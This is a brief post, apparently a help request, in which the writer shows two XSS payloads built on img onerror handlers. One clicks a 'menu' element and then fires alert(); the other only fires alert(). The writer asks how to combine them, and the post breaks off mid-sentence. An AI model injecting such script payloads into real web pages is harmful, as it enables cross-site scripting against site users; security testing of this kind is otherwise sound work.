this is the payload that does not work
<img src=x onerror="javascript:document.querySelector('menu').click();setTimeout(function(){alert()},100);"/>
I dont understand why my payload is not working ??
But this last one works and pop up an alert
<img src=x onerror="javascript:document.querySelector('menu');setTimeout(function(){alert()},100);"/>
I want to execute these two commands in one line
I